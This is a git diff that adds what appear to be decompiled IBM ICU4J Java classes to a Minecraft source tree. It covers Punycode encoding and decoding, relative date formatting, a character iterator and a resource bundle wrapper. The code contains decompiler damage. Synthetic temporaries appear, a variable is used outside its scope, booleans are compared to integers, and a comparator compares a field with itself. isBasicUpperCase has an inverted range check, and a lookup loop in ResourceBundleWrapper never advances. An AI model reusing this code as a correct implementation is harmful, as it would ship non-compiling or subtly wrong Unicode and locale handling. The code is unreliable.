+
+      int count = rows * columns - (lastRow + columns);
+      if (count > 0) {
+        System.arraycopy(v, lastRow + columns, v, lastRow + (1 + rowsToExpand) * columns, count);
+      }
+      
+      rows += rowsToExpand;
+      
+
+
+      if (splitFirstRow)
+      {
+        count = lastRow - firstRow + columns;
+        System.arraycopy(v, firstRow, v, firstRow + columns, count);
+        lastRow += columns; int 
+        
+
+          tmp422_421 = start;v[(firstRow + columns)] = tmp422_421;v[(firstRow + 1)] = tmp422_421;
+        firstRow += columns;
+      }
+      
+
+      if (splitLastRow)
+      {
+        System.arraycopy(v, lastRow, v, lastRow + columns, columns); int 
+        
+
+          tmp484_482 = limit;v[(lastRow + columns)] = tmp484_482;v[(lastRow + 1)] = tmp484_482;
+      }
+    }
+    
+
+    prevRow = (lastRow / columns);
+    
+
+    firstRow += column;
+    lastRow += column;
+    mask ^= 0xFFFFFFFF;
+    for (;;) {
+      v[firstRow] = (v[firstRow] & mask | value);
+      if (firstRow == lastRow) {
+        break;
+      }
+      firstRow += columns;
+    }
+  }
+  
+
+
+  public int getValue(int c, int column)
+  {
+    if ((isCompacted) || (c < 0) || (c > 1114113) || (column < 0) || (column >= columns - 2))
+    {
+      return 0;
+    }
+    int index = findRow(c);
+    return v[(index + 2 + column)];
+  }
+  
+
+
+
+
+
+
+  public int[] getRow(int rowIndex)
+  {
+    if (isCompacted) {
+      throw new IllegalStateException("Illegal Invocation of the method after compact()");
+    }
+    
+    if ((rowIndex < 0) || (rowIndex > rows)) {
+      throw new IllegalArgumentException("rowIndex out of bound!");
+    }
+    int[] rowToReturn = new int[columns - 2];
+    System.arraycopy(v, rowIndex * columns + 2, rowToReturn, 0, columns - 2);
+    
+    return rowToReturn;
+  }
+  
+
+
+
+
+
+
+
+  public int getRowStart(int rowIndex)
+  {
+    if (isCompacted) {
+      throw new IllegalStateException("Illegal Invocation of the method after compact()");
+    }
+    
+    if ((rowIndex < 0) || (rowIndex > rows)) {
+      throw new IllegalArgumentException("rowIndex out of bound!");
+    }
+    return v[(rowIndex * columns)];
+  }
+  
+
+
+
+
+
+
+
+  public int getRowEnd(int rowIndex)
+  {
+    if (isCompacted) {
+      throw new IllegalStateException("Illegal Invocation of the method after compact()");
+    }
+    
+    if ((rowIndex < 0) || (rowIndex > rows)) {
+      throw new IllegalArgumentException("rowIndex out of bound!");
+    }
+    return v[(rowIndex * columns + 1)] - 1;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public void compact(CompactHandler compactor)
+  {
+    if (isCompacted) {
+      return;
+    }
+    
+
+
+    isCompacted = true;
+    int valueColumns = columns - 2;
+    
+
+    Integer[] indexArray = new Integer[rows];
+    for (int i = 0; i < rows; i++) {
+      indexArray[i] = Integer.valueOf(columns * i);
+    }
+    
+    Arrays.sort(indexArray, new Comparator() {
+      public int compare(Integer o1, Integer o2) {
+        int indexOfRow1 = o1.intValue();
+        int indexOfRow2 = o2.intValue();
+        int count = columns;
+        
+
+
+        int index = 2;
+        do {
+          if (v[(indexOfRow1 + index)] != v[(indexOfRow2 + index)]) {
+            return v[(indexOfRow1 + index)] < v[(indexOfRow2 + index)] ? -1 : 1;
+          }
+          
+          index++; if (index == columns) {
+            index = 0;
+          }
+          count--; } while (count > 0);
+        
+        return 0;
+
+
+      }
+      
+
+
+
+    });
+    int count = -valueColumns;
+    for (int i = 0; i < rows; i++) {
+      int start = v[indexArray[i].intValue()];
+      
+
+
+      if ((count < 0) || (!areElementsSame(indexArray[i].intValue() + 2, v, indexArray[(i - 1)].intValue() + 2, valueColumns)))
+      {
+        count += valueColumns;
+      }
+      
+      if (start == 1114112) {
+        compactor.setRowIndexForInitialValue(count);
+      } else if (start == 1114113) {
+        compactor.setRowIndexForErrorValue(count);
+      }
+    }
+    
+
+
+    count += valueColumns;
+    
+
+
+    compactor.startRealValues(count);
+    
+
+
+
+
+
+
+
+    int[] temp = new int[count];
+    count = -valueColumns;
+    for (int i = 0; i < rows; i++) {
+      int start = v[indexArray[i].intValue()];
+      int limit = v[(indexArray[i].intValue() + 1)];
+      
+
+
+      if ((count < 0) || (!areElementsSame(indexArray[i].intValue() + 2, temp, count, valueColumns)))
+      {
+        count += valueColumns;
+        System.arraycopy(v, indexArray[i].intValue() + 2, temp, count, valueColumns);
+      }
+      
+
+      if (start < 1114112) {
+        compactor.setRowIndexForRange(start, limit - 1, count);
+      }
+    }
+    v = temp;
+    
+
+
+    rows = (count / valueColumns + 1);
+  }
+  
+
+
+
+
+  public int[] getCompactedArray()
+  {
+    if (!isCompacted) {
+      throw new IllegalStateException("Illegal Invocation of the method before compact()");
+    }
+    
+    return v;
+  }
+  
+
+
+
+
+  public int getCompactedRows()
+  {
+    if (!isCompacted) {
+      throw new IllegalStateException("Illegal Invocation of the method before compact()");
+    }
+    
+    return rows;
+  }
+  
+
+
+
+
+  public int getCompactedColumns()
+  {
+    if (!isCompacted) {
+      throw new IllegalStateException("Illegal Invocation of the method before compact()");
+    }
+    
+    return columns - 2;
+  }
+  
+
+
+
+  public IntTrie compactToTrieWithRowIndexes()
+  {
+    PVecToTrieCompactHandler compactor = new PVecToTrieCompactHandler();
+    compact(compactor);
+    return builder.serialize(new DefaultGetFoldedValue(builder), new DefaultGetFoldingOffset(null));
+  }
+  
+  private static class DefaultGetFoldingOffset implements Trie.DataManipulate {
+    private DefaultGetFoldingOffset() {}
+    
+    public int getFoldingOffset(int value) {
+      return value;
+    }
+  }
+  
+  private static class DefaultGetFoldedValue implements TrieBuilder.DataManipulate
+  {
+    private IntTrieBuilder builder;
+    
+    public DefaultGetFoldedValue(IntTrieBuilder inBuilder)
+    {
+      builder = inBuilder;
+    }
+    
+    public int getFoldedValue(int start, int offset) {
+      int initialValue = builder.m_initialValue_;
+      int limit = start + 1024;
+      while (start < limit) {
+        boolean[] inBlockZero = new boolean[1];
+        int value = builder.getValue(start, inBlockZero);
+        if (inBlockZero[0] != 0) {
+          start += 32;
+        } else { if (value != initialValue) {
+            return offset;
+          }
+          start++;
+        }
+      }
+      return 0;
+    }
+  }
+  
+  public static abstract interface CompactHandler
+  {
+    public abstract void setRowIndexForRange(int paramInt1, int paramInt2, int paramInt3);
+    
+    public abstract void setRowIndexForInitialValue(int paramInt);
+    
+    public abstract void setRowIndexForErrorValue(int paramInt);
+    
+    public abstract void startRealValues(int paramInt);
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/impl/Punycode.java b/src/minecraft/com/ibm/icu/impl/Punycode.java
new file mode 100644
index 0000000..5833a66
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/Punycode.java
@@ -0,0 +1,475 @@
+package com.ibm.icu.impl;
+
+import com.ibm.icu.lang.UCharacter;
+import com.ibm.icu.text.StringPrepParseException;
+import com.ibm.icu.text.UTF16;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class Punycode
+{
+  private static final int BASE = 36;
+  private static final int TMIN = 1;
+  private static final int TMAX = 26;
+  private static final int SKEW = 38;
+  private static final int DAMP = 700;
+  private static final int INITIAL_BIAS = 72;
+  private static final int INITIAL_N = 128;
+  private static final int HYPHEN = 45;
+  private static final int DELIMITER = 45;
+  private static final int ZERO = 48;
+  private static final int SMALL_A = 97;
+  private static final int SMALL_Z = 122;
+  private static final int CAPITAL_A = 65;
+  private static final int CAPITAL_Z = 90;
+  private static final int MAX_CP_COUNT = 200;
+  
+  public Punycode() {}
+  
+  private static int adaptBias(int delta, int length, boolean firstTime)
+  {
+    if (firstTime) {
+      delta /= 700;
+    } else {
+      delta /= 2;
+    }
+    delta += delta / length;
+    
+    for (int count = 0; 
+        delta > 455; count += 36) {
+      delta /= 35;
+    }
+    
+    return count + 36 * delta / (delta + 38);
+  }
+  
+
+
+
+
+
+  static final int[] basicToDigit = { -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, -1, -1, -1, -1, -1, -1, -1, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, -1, -1, -1, -1, -1, -1, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1 };
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private static char asciiCaseMap(char b, boolean uppercase)
+  {
+    if (uppercase) {
+      if (('a' <= b) && (b <= 'z')) {
+        b = (char)(b - ' ');
+      }
+    }
+    else if (('A' <= b) && (b <= 'Z')) {
+      b = (char)(b + ' ');
+    }
+    
+    return b;
+  }
+  
+
+
+
+
+
+
+
+  private static char digitToBasic(int digit, boolean uppercase)
+  {
+    if (digit < 26) {
+      if (uppercase) {
+        return (char)(65 + digit);
+      }
+      return (char)(97 + digit);
+    }
+    
+    return (char)(22 + digit);
+  }
+  
+
+
+
+
+
+
+
+
+  public static StringBuilder encode(CharSequence src, boolean[] caseFlags)
+    throws StringPrepParseException
+  {
+    int[] cpBuffer = new int['È'];
+    
+
+    int srcLength = src.length();
+    int destCapacity = 200;
+    char[] dest = new char[destCapacity];
+    StringBuilder result = new StringBuilder();
+    
+
+    int destLength;
+    
+    int srcCPCount = destLength = 0;
+    
+    for (int j = 0; j < srcLength; j++) {
+      if (srcCPCount == 200)
+      {
+        throw new IndexOutOfBoundsException();
+      }
+      char c = src.charAt(j);
+      if (isBasic(c)) {
+        if (destLength < destCapacity) {
+          cpBuffer[(srcCPCount++)] = 0;
+          dest[destLength] = (caseFlags != null ? asciiCaseMap(c, caseFlags[j]) : c);
+        }
+        
+
+
+        destLength++;
+      } else {
+        int n = ((caseFlags != null) && (caseFlags[j] != 0) ? 1 : 0) << 31;
+        if (!UTF16.isSurrogate(c)) {
+          n |= c; } else { char c2;
+          if ((UTF16.isLeadSurrogate(c)) && (j + 1 < srcLength) && (UTF16.isTrailSurrogate(c2 = src.charAt(j + 1)))) {
+            j++;
+            
+            n |= UCharacter.getCodePoint(c, c2);
+          }
+          else {
+            throw new StringPrepParseException("Illegal char found", 1);
+          } }
+        cpBuffer[(srcCPCount++)] = n;
+      }
+    }
+    
+
+    int basicLength = destLength;
+    if (basicLength > 0) {
+      if (destLength < destCapacity) {
+        dest[destLength] = '-';
+      }
+      destLength++;
+    }
+    
+
+
+
+
+
+
+
+    int n = 128;
+    int delta = 0;
+    int bias = 72;
+    
+
+    for (int handledCPCount = basicLength; handledCPCount < srcCPCount;)
+    {
+
+
+
+      int m = Integer.MAX_VALUE; for (j = 0; j < srcCPCount; j++) {
+        int q = cpBuffer[j] & 0x7FFFFFFF;
+        if ((n <= q) && (q < m)) {
+          m = q;
+        }
+      }
+      
+
+
+
+
+      if (m - n > (2147483447 - delta) / (handledCPCount + 1)) {
+        throw new IllegalStateException("Internal program error");
+      }
+      delta += (m - n) * (handledCPCount + 1);
+      n = m;
+      
+
+      for (j = 0; j < srcCPCount; j++) {
+        int q = cpBuffer[j] & 0x7FFFFFFF;
+        if (q < n) {
+          delta++;
+        } else if (q == n)
+        {
+          q = delta; for (int k = 36;; k += 36)
+          {
+
+
+
+
+
+
+
+
+
+
+            int t = k - bias;
+            if (t < 1) {
+              t = 1;
+            } else if (k >= bias + 26) {
+              t = 26;
+            }
+            
+            if (q < t) {
+              break;
+            }
+            
+            if (destLength < destCapacity) {
+              dest[(destLength++)] = digitToBasic(t + (q - t) % (36 - t), false);
+            }
+            q = (q - t) / (36 - t);
+          }
+          
+          if (destLength < destCapacity) {
+            dest[(destLength++)] = digitToBasic(q, cpBuffer[j] < 0 ? 1 : false);
+          }
+          bias = adaptBias(delta, handledCPCount + 1, handledCPCount == basicLength);
+          delta = 0;
+          handledCPCount++;
+        }
+      }
+      
+      delta++;
+      n++;
+    }
+    
+    return result.append(dest, 0, destLength);
+  }
+  
+  private static boolean isBasic(int ch) {
+    return ch < 128;
+  }
+  
+  private static boolean isBasicUpperCase(int ch) {
+    return (65 <= ch) && (ch >= 90);
+  }
+  
+  private static boolean isSurrogate(int ch) {
+    return (ch & 0xF800) == 55296;
+  }
+  
+
+
+
+
+
+
+  public static StringBuilder decode(CharSequence src, boolean[] caseFlags)
+    throws StringPrepParseException
+  {
+    int srcLength = src.length();
+    StringBuilder result = new StringBuilder();
+    
+
+
+    int destCapacity = 200;
+    char[] dest = new char[destCapacity];
+    
+
+
+
+
+
+
+
+
+    for (int j = srcLength; j > 0;)
+      if (src.charAt(--j) == '-')
+        break;
+    int destCPCount;
+    int basicLength;
+    int destLength = basicLength = destCPCount = j;
+    
+    while (j > 0) {
+      char b = src.charAt(--j);
+      if (!isBasic(b)) {
+        throw new StringPrepParseException("Illegal char found", 0);
+      }
+      
+      if (j < destCapacity) {
+        dest[j] = b;
+        
+        if (caseFlags != null) {
+          caseFlags[j] = isBasicUpperCase(b);
+        }
+      }
+    }
+    
+
+    int n = 128;
+    int i = 0;
+    int bias = 72;
+    int firstSupplementaryIndex = 1000000000;
+    
+
+
+
+
+
+    for (int in = basicLength > 0 ? basicLength + 1 : 0; in < srcLength;)
+    {
+
+
+
+
+
+
+
+
+      int oldi = i;int w = 1; for (int k = 36;; k += 36) {
+        if (in >= srcLength) {
+          throw new StringPrepParseException("Illegal char found", 1);
+        }
+        
+        int digit = basicToDigit[(src.charAt(in++) & 0xFF)];
+        if (digit < 0) {
+          throw new StringPrepParseException("Invalid char found", 0);
+        }
+        if (digit > (Integer.MAX_VALUE - i) / w)
+        {
+          throw new StringPrepParseException("Illegal char found", 1);
+        }
+        
+        i += digit * w;
+        int t = k - bias;
+        if (t < 1) {
+          t = 1;
+        } else if (k >= bias + 26) {
+          t = 26;
+        }
+        if (digit < t) {
+          break;
+        }
+        
+        if (w > Integer.MAX_VALUE / (36 - t))
+        {
+          throw new StringPrepParseException("Illegal char found", 1);
+        }
+        w *= (36 - t);
+      }
+      
+
+
+
+
+
+      destCPCount++;
+      bias = adaptBias(i - oldi, destCPCount, oldi == 0);
+      
+
+
+
+
+      if (i / destCPCount > Integer.MAX_VALUE - n)
+      {
+        throw new StringPrepParseException("Illegal char found", 1);
+      }
+      
+      n += i / destCPCount;
+      i %= destCPCount;
+      
+
+
+      if ((n > 1114111) || (isSurrogate(n)))
+      {
+        throw new StringPrepParseException("Illegal char found", 1);
+      }
+      
+
+      int cpLength = UTF16.getCharCount(n);
+      if (destLength + cpLength < destCapacity)
+      {
+        int codeUnitIndex;
+        
+
+
+
+
+
+
+
+
+
+        if (i <= firstSupplementaryIndex) {
+          int codeUnitIndex = i;
+          if (cpLength > 1) {
+            firstSupplementaryIndex = codeUnitIndex;
+          } else {
+            firstSupplementaryIndex++;
+          }
+        } else {
+          codeUnitIndex = firstSupplementaryIndex;
+          codeUnitIndex = UTF16.moveCodePointOffset(dest, 0, destLength, codeUnitIndex, i - codeUnitIndex);
+        }
+        
+
+        if (codeUnitIndex < destLength) {
+          System.arraycopy(dest, codeUnitIndex, dest, codeUnitIndex + cpLength, destLength - codeUnitIndex);
+          
+
+          if (caseFlags != null) {
+            System.arraycopy(caseFlags, codeUnitIndex, caseFlags, codeUnitIndex + cpLength, destLength - codeUnitIndex);
+          }
+        }
+        
+
+        if (cpLength == 1)
+        {
+          dest[codeUnitIndex] = ((char)n);
+        }
+        else {
+          dest[codeUnitIndex] = UTF16.getLeadSurrogate(n);
+          dest[(codeUnitIndex + 1)] = UTF16.getTrailSurrogate(n);
+        }
+        if (caseFlags != null)
+        {
+          caseFlags[codeUnitIndex] = isBasicUpperCase(src.charAt(in - 1));
+          if (cpLength == 2) {
+            caseFlags[(codeUnitIndex + 1)] = false;
+          }
+        }
+      }
+      destLength += cpLength;
+      i++;
+    }
+    result.append(dest, 0, destLength);
+    return result;
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/impl/RelativeDateFormat.java b/src/minecraft/com/ibm/icu/impl/RelativeDateFormat.java
new file mode 100644
index 0000000..6cc28ef
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/RelativeDateFormat.java
@@ -0,0 +1,290 @@
+package com.ibm.icu.impl;
+
+import com.ibm.icu.text.DateFormat;
+import com.ibm.icu.text.MessageFormat;
+import com.ibm.icu.text.SimpleDateFormat;
+import com.ibm.icu.util.Calendar;
+import com.ibm.icu.util.TimeZone;
+import com.ibm.icu.util.ULocale;
+import com.ibm.icu.util.UResourceBundle;
+import com.ibm.icu.util.UResourceBundleIterator;
+import java.text.FieldPosition;
+import java.text.ParsePosition;
+import java.util.Comparator;
+import java.util.Date;
+import java.util.MissingResourceException;
+import java.util.Set;
+import java.util.TreeSet;
+
+
+
+
+public class RelativeDateFormat
+  extends DateFormat
+{
+  private static final long serialVersionUID = 1131984966440549435L;
+  private DateFormat fDateFormat;
+  private DateFormat fTimeFormat;
+  private MessageFormat fCombinedFormat;
+  
+  public static class URelativeString
+  {
+    public int offset;
+    public String string;
+    
+    URelativeString(int offset, String string)
+    {
+      this.offset = offset;
+      this.string = string;
+    }
+    
+    URelativeString(String offset, String string) { this.offset = Integer.parseInt(offset);
+      this.string = string;
+    }
+  }
+  
+
+
+
+
+
+
+
+
+  public RelativeDateFormat(int timeStyle, int dateStyle, ULocale locale)
+  {
+    fLocale = locale;
+    fTimeStyle = timeStyle;
+    fDateStyle = dateStyle;
+    
+    if (fDateStyle != -1) {
+      int newStyle = fDateStyle & 0xFF7F;
+      DateFormat df = DateFormat.getDateInstance(newStyle, locale);
+      if ((df instanceof SimpleDateFormat)) {
+        fDateTimeFormat = ((SimpleDateFormat)df);
+      } else {
+        throw new IllegalArgumentException("Can't create SimpleDateFormat for date style");
+      }
+      fDatePattern = fDateTimeFormat.toPattern();
+      if (fTimeStyle != -1) {
+        newStyle = fTimeStyle & 0xFF7F;
+        df = DateFormat.getTimeInstance(newStyle, locale);
+        if ((df instanceof SimpleDateFormat)) {
+          fTimePattern = ((SimpleDateFormat)df).toPattern();
+        }
+      }
+    }
+    else {
+      int newStyle = fTimeStyle & 0xFF7F;
+      DateFormat df = DateFormat.getTimeInstance(newStyle, locale);
+      if ((df instanceof SimpleDateFormat)) {
+        fDateTimeFormat = ((SimpleDateFormat)df);
+      } else {
+        throw new IllegalArgumentException("Can't create SimpleDateFormat for time style");
+      }
+      fTimePattern = fDateTimeFormat.toPattern();
+    }
+    
+    initializeCalendar(null, fLocale);
+    loadDates();
+    initializeCombinedFormat(calendar, fLocale);
+  }
+  
+
+
+
+
+
+
+
+
+
+  public StringBuffer format(Calendar cal, StringBuffer toAppendTo, FieldPosition fieldPosition)
+  {
+    String relativeDayString = null;
+    if (fDateStyle != -1)
+    {
+      int dayDiff = dayDifference(cal);
+      
+
+      relativeDayString = getStringForDay(dayDiff);
+    }
+    
+    if ((fDateTimeFormat != null) && ((fDatePattern != null) || (fTimePattern != null)))
+    {
+      if (fDatePattern == null)
+      {
+        fDateTimeFormat.applyPattern(fTimePattern);
+        fDateTimeFormat.format(cal, toAppendTo, fieldPosition);
+      } else if (fTimePattern == null)
+      {
+        if (relativeDayString != null) {
+          toAppendTo.append(relativeDayString);
+        } else {
+          fDateTimeFormat.applyPattern(fDatePattern);
+          fDateTimeFormat.format(cal, toAppendTo, fieldPosition);
+        }
+      } else {
+        String datePattern = fDatePattern;
+        if (relativeDayString != null)
+        {
+          datePattern = "'" + relativeDayString.replace("'", "''") + "'";
+        }
+        StringBuffer combinedPattern = new StringBuffer("");
+        fCombinedFormat.format(new Object[] { fTimePattern, datePattern }, combinedPattern, new FieldPosition(0));
+        fDateTimeFormat.applyPattern(combinedPattern.toString());
+        fDateTimeFormat.format(cal, toAppendTo, fieldPosition);
+      }
+    } else if (fDateFormat != null)
+    {
+
+      if (relativeDayString != null) {
+        toAppendTo.append(relativeDayString);
+      } else {
+        fDateFormat.format(cal, toAppendTo, fieldPosition);
+      }
+    }
+    
+    return toAppendTo;
+  }
+  
+
+
+  public void parse(String text, Calendar cal, ParsePosition pos)
+  {
+    throw new UnsupportedOperationException("Relative Date parse is not implemented yet");
+  }
+  
+
+
+
+
+  private SimpleDateFormat fDateTimeFormat = null;
+  private String fDatePattern = null;
+  private String fTimePattern = null;
+  
+  int fDateStyle;
+  
+  int fTimeStyle;
+  ULocale fLocale;
+  private transient URelativeString[] fDates = null;
+  
+
+
+
+
+
+  private String getStringForDay(int day)
+  {
+    if (fDates == null) {
+      loadDates();
+    }
+    for (int i = 0; i < fDates.length; i++) {
+      if (fDates[i].offset == day) {
+        return fDates[i].string;
+      }
+    }
+    return null;
+  }
+  
+
+
+  private synchronized void loadDates()
+  {
+    ICUResourceBundle rb = (ICUResourceBundle)UResourceBundle.getBundleInstance("com/ibm/icu/impl/data/icudt51b", fLocale);
+    ICUResourceBundle rdb = rb.getWithFallback("fields/day/relative");
+    
+    Set<URelativeString> datesSet = new TreeSet(new Comparator()
+    {
+      public int compare(RelativeDateFormat.URelativeString r1, RelativeDateFormat.URelativeString r2) {
+        if (offset == offset)
+          return 0;
+        if (offset < offset) {
+          return -1;
+        }
+        return 1;
+      }
+    });
+    
+
+    for (UResourceBundleIterator i = rdb.getIterator(); i.hasNext();) {
+      UResourceBundle line = i.next();
+      
+      String k = line.getKey();
+      String v = line.getString();
+      URelativeString rs = new URelativeString(k, v);
+      datesSet.add(rs);
+    }
+    fDates = ((URelativeString[])datesSet.toArray(new URelativeString[0]));
+  }
+  
+
+
+  private static int dayDifference(Calendar until)
+  {
+    Calendar nowCal = (Calendar)until.clone();
+    Date nowDate = new Date(System.currentTimeMillis());
+    nowCal.clear();
+    nowCal.setTime(nowDate);
+    int dayDiff = until.get(20) - nowCal.get(20);
+    return dayDiff;
+  }
+  
+
+
+
+
+
+
+  private Calendar initializeCalendar(TimeZone zone, ULocale locale)
+  {
+    if (calendar == null) {
+      if (zone == null) {
+        calendar = Calendar.getInstance(locale);
+      } else {
+        calendar = Calendar.getInstance(zone, locale);
+      }
+    }
+    return calendar;
+  }
+  
+  private MessageFormat initializeCombinedFormat(Calendar cal, ULocale locale) {
+    String pattern = "{1} {0}";
+    try {
+      CalendarData calData = new CalendarData(locale, cal.getType());
+      String[] patterns = calData.getDateTimePatterns();
+      if ((patterns != null) && (patterns.length >= 9)) {
+        int glueIndex = 8;
+        if (patterns.length >= 13)
+        {
+          switch (fDateStyle)
+          {
+          case 0: 
+          case 128: 
+            glueIndex++;
+            break;
+          case 1: 
+          case 129: 
+            glueIndex += 2;
+            break;
+          case 2: 
+          case 130: 
+            glueIndex += 3;
+            break;
+          case 3: 
+          case 131: 
+            glueIndex += 4;
+            break;
+          }
+          
+        }
+        
+        pattern = patterns[glueIndex];
+      }
+    }
+    catch (MissingResourceException e) {}
+    
+    fCombinedFormat = new MessageFormat(pattern, locale);
+    return fCombinedFormat;
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/impl/ReplaceableUCharacterIterator.java b/src/minecraft/com/ibm/icu/impl/ReplaceableUCharacterIterator.java
new file mode 100644
index 0000000..e47af40
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/ReplaceableUCharacterIterator.java
@@ -0,0 +1,191 @@
+package com.ibm.icu.impl;
+
+import com.ibm.icu.text.Replaceable;
+import com.ibm.icu.text.ReplaceableString;
+import com.ibm.icu.text.UCharacterIterator;
+import com.ibm.icu.text.UTF16;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class ReplaceableUCharacterIterator
+  extends UCharacterIterator
+{
+  private Replaceable replaceable;
+  private int currentIndex;
+  
+  public ReplaceableUCharacterIterator(Replaceable replaceable)
+  {
+    if (replaceable == null) {
+      throw new IllegalArgumentException();
+    }
+    this.replaceable = replaceable;
+    currentIndex = 0;
+  }
+  
+
+
+
+  public ReplaceableUCharacterIterator(String str)
+  {
+    if (str == null) {
+      throw new IllegalArgumentException();
+    }
+    replaceable = new ReplaceableString(str);
+    currentIndex = 0;
+  }
+  
+
+
+
+  public ReplaceableUCharacterIterator(StringBuffer buf)
+  {
+    if (buf == null) {
+      throw new IllegalArgumentException();
+    }
+    replaceable = new ReplaceableString(buf);
+    currentIndex = 0;
+  }
+  
+
+
+
+
+
+  public Object clone()
+  {
+    try
+    {
+      return super.clone();
+    } catch (CloneNotSupportedException e) {}
+    return null;
+  }
+  
+
+
+
+
+  public int current()
+  {
+    if (currentIndex < replaceable.length()) {
+      return replaceable.charAt(currentIndex);
+    }
+    return -1;
+  }
+  
+
+
+
+
+
+
+
+  public int currentCodePoint()
+  {
+    int ch = current();
+    if (UTF16.isLeadSurrogate((char)ch))
+    {
+      next();
+      
+
+      int ch2 = current();
+      
+      previous();
+      
+      if (UTF16.isTrailSurrogate((char)ch2))
+      {
+        return UCharacterProperty.getRawSupplementary((char)ch, (char)ch2);
+      }
+    }
+    
+
+    return ch;
+  }
+  
+
+
+
+  public int getLength()
+  {
+    return replaceable.length();
+  }
+  
+
+
+
+  public int getIndex()
+  {
+    return currentIndex;
+  }
+  
+
+
+
+
+
+
+
+  public int next()
+  {
+    if (currentIndex < replaceable.length()) {
+      return replaceable.charAt(currentIndex++);
+    }
+    return -1;
+  }
+  
+
+
+
+
+
+
+
+
+  public int previous()
+  {
+    if (currentIndex > 0) {
+      return replaceable.charAt(--currentIndex);
+    }
+    return -1;
+  }
+  
+
+
+
+
+
+
+
+
+  public void setIndex(int currentIndex)
+    throws IndexOutOfBoundsException
+  {
+    if ((currentIndex < 0) || (currentIndex > replaceable.length())) {
+      throw new IndexOutOfBoundsException();
+    }
+    this.currentIndex = currentIndex;
+  }
+  
+  public int getText(char[] fillIn, int offset) {
+    int length = replaceable.length();
+    if ((offset < 0) || (offset + length > fillIn.length)) {
+      throw new IndexOutOfBoundsException(Integer.toString(length));
+    }
+    replaceable.getChars(0, length, fillIn, offset);
+    return length;
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/impl/ResourceBundleWrapper.java b/src/minecraft/com/ibm/icu/impl/ResourceBundleWrapper.java
new file mode 100644
index 0000000..bac03c4
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/ResourceBundleWrapper.java
@@ -0,0 +1,250 @@
+package com.ibm.icu.impl;
+
+import com.ibm.icu.util.ULocale;
+import com.ibm.icu.util.UResourceBundle;
+import java.io.BufferedInputStream;
+import java.io.InputStream;
+import java.io.PrintStream;
+import java.security.AccessController;
+import java.security.PrivilegedAction;
+import java.util.ArrayList;
+import java.util.Collections;
+import java.util.Enumeration;
+import java.util.List;
+import java.util.MissingResourceException;
+import java.util.PropertyResourceBundle;
+import java.util.ResourceBundle;
+
+
+
+
+
+
+
+
+public class ResourceBundleWrapper
+  extends UResourceBundle
+{
+  private ResourceBundle bundle = null;
+  private String localeID = null;
+  private String baseName = null;
+  private List<String> keys = null;
+  
+  private ResourceBundleWrapper(ResourceBundle bundle)
+  {
+    this.bundle = bundle;
+  }
+  
+
+  protected void setLoadingStatus(int newStatus) {}
+  
+  protected Object handleGetObject(String aKey)
+  {
+    ResourceBundleWrapper current = this;
+    Object obj = null;
+    while (current != null) {
+      try {
+        obj = bundle.getObject(aKey);
+      }
+      catch (MissingResourceException ex) {
+        current = (ResourceBundleWrapper)current.getParent();
+      }
+    }
+    if (obj == null) {
+      throw new MissingResourceException("Can't find resource for bundle " + baseName + ", key " + aKey, getClass().getName(), aKey);
+    }
+    
+
+
+
+    return obj;
+  }
+  
+  public Enumeration<String> getKeys() {
+    return Collections.enumeration(keys);
+  }
+  
+  private void initKeysVector() {
+    ResourceBundleWrapper current = this;
+    keys = new ArrayList();
+    while (current != null) {
+      Enumeration<String> e = bundle.getKeys();
+      while (e.hasMoreElements()) {
+        String elem = (String)e.nextElement();
+        if (!keys.contains(elem)) {
+          keys.add(elem);
+        }
+      }
+      current = (ResourceBundleWrapper)current.getParent();
+    }
+  }
+  
+  protected String getLocaleID() { return localeID; }
+  
+  protected String getBaseName()
+  {
+    return bundle.getClass().getName().replace('.', '/');
+  }
+  
+  public ULocale getULocale() {
+    return new ULocale(localeID);
+  }
+  
+  public UResourceBundle getParent() {
+    return (UResourceBundle)parent;
+  }
+  
+
+  private static final boolean DEBUG = ICUDebug.enabled("resourceBundleWrapper");
+  
+
+  public static UResourceBundle getBundleInstance(String baseName, String localeID, ClassLoader root, boolean disableFallback)
+  {
+    UResourceBundle b = instantiateBundle(baseName, localeID, root, disableFallback);
+    if (b == null) {
+      String separator = "_";
+      if (baseName.indexOf('/') >= 0) {
+        separator = "/";
+      }
+      throw new MissingResourceException("Could not find the bundle " + baseName + separator + localeID, "", "");
+    }
+    return b;
+  }
+  
+  protected static synchronized UResourceBundle instantiateBundle(String baseName, String localeID, ClassLoader root, boolean disableFallback)
+  {
+    if (root == null) {
